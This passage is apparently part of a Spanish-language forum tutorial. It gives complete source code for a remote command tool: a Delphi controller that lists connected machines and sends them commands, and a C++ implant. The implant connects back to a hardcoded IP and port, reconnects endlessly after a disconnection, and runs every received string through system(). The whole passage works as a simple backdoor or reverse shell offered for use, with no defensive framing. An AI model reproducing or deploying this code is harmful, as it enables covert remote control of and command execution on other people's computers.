El server intentará conectarse indefinidamente en caso de desconexión del cliente.
Cliente (Delphi)
Añadimos los siguientes elementos:
TListView: para ver los servers conectados.
2 TEdit: uno para escribir el puerto a la escucha y otro para escribir los comandos.
3 TButton: uno para enviar los comandos, otro para refrescar la ListView y otro para añadir el puerto.
TIdTCPServer: Nos servirá para el manejo de los sockets.
Código del cliente:
Código: Seleccionar todo
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
IdBaseComponent, IdComponent, IdCustomTCPServer, IdTCPServer, IdContext, Idsync, idGlobal;
type
TForm1 = class(TForm)
ListView1: TListView;
GroupBox1: TGroupBox;
Edit1: TEdit;
GroupBox2: TGroupBox;
Button1: TButton;
IdTCPServer1: TIdTCPServer;
Edit2: TEdit;
Button2: TButton;
Button3: TButton;
procedure Button2Click(Sender: TObject);
procedure IdTCPServer1Execute(AContext: TIdContext);
procedure IdTCPServer1Connect(AContext: TIdContext);
procedure serversConectados;
procedure Button3Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
public
end;
var
Form1: TForm1;
item2: TListItem;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
ContextList: TList;
Context: TIdContext;
i, pos: integer;
begin
try //buscamos a quien enviar el comando mediante el índice seleccionado en la lista
ContextList := IdTCPServer1.Contexts.LockList;
Context := TObject(ContextList[ListView1.ItemIndex]) as TIdContext;
Context.Connection.IOHandler.Write(Edit1.Text, IndyTextEncoding_OSDefault);
except
end;
IdTCPServer1.Contexts.UnlockList;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
//añadimos un nuevo puerto a la escucha
IdTCPServer1.Active := false;
with IdTCPServer1.Bindings.Add do
begin
IP := '0.0.0.0';
Port := Integer.Parse(Edit2.Text);
end;
IdTCPServer1.Active := true;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
//refrescamos la lista
serversConectados;
end;
procedure TForm1.IdTCPServer1Connect(AContext: TIdContext);
begin
//refrescamos la lista
serversConectados;
end;
procedure TForm1.IdTCPServer1Execute(AContext: TIdContext);
begin
//El evento execute es necesario pero no lo utilizaremos
end;
procedure TForm1.serversConectados;
var
ContextList : TList;
Context : TIdContext;
i, pos: integer;
begin
ListView1.Clear;
ContextList := IdTCPServer1.Contexts.LockList;
try
for i := 0 to ContextList.Count - 1 do //por cada conexion mostramos la ip y el puerto
begin
item2 := ListView1.Items.Add;
Context := TObject(ContextList[i]) as TIdContext;
[/i]item2.Caption := Context.Connection.Socket.Binding.PeerIP;
item2.SubItems.Add(Context.Connection.Socket.Binding.Port.ToString);
end;
finally
IdTCPServer1.Contexts.UnlockList;
end;
end;
end.
Código del Server (C++)
Código: Seleccionar todo
#include <winsock2.h>
#include <iostream>
#include <Windows.h>
#pragma comment(lib,"ws2_32")
using namespace std;
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in sockAddr;
bool run;
bool connected = false;
char port[6] = "1234";
char ip_addr[16] = "192.168.1.136";
char bufferR[1024];
void Wsa() {
if (WSAStartup(MAKEWORD(2, 2), &wsaData) == 0) {
Winsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
}
}
void intentarConexion() {
while (!connected) {
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(atoi(port));
sockAddr.sin_addr.s_addr = inet_addr(ip_addr);
if ((connect(Winsock, (SOCKADDR*)&sockAddr, sizeof(sockAddr))) != INVALID_SOCKET) { //Nos conectamos
connected = true;
run = true;
cout << "Conexion establecida con " << ip_addr << endl;
}
else {
cout << "Intentando conexion con " << ip_addr << ":" << port << endl; //Volvemos a intentarlo
}
}
}
void ejecutarComandos() {
while (connected) {
if (recv(Winsock, bufferR, sizeof(bufferR), 0) == 0) { //Si el cliente se desconecta salimos del bucle
cout << "Desconectado";
run = false;
connected = false;
WSACleanup();
}
else {
system(bufferR);
}
memset(&bufferR, 0, sizeof(bufferR));
}
}
int main() {
while (true) { //bucle para intentar la conexion repetidamente
Wsa();
intentarConexion();
ejecutarComandos();
}
return 0;
}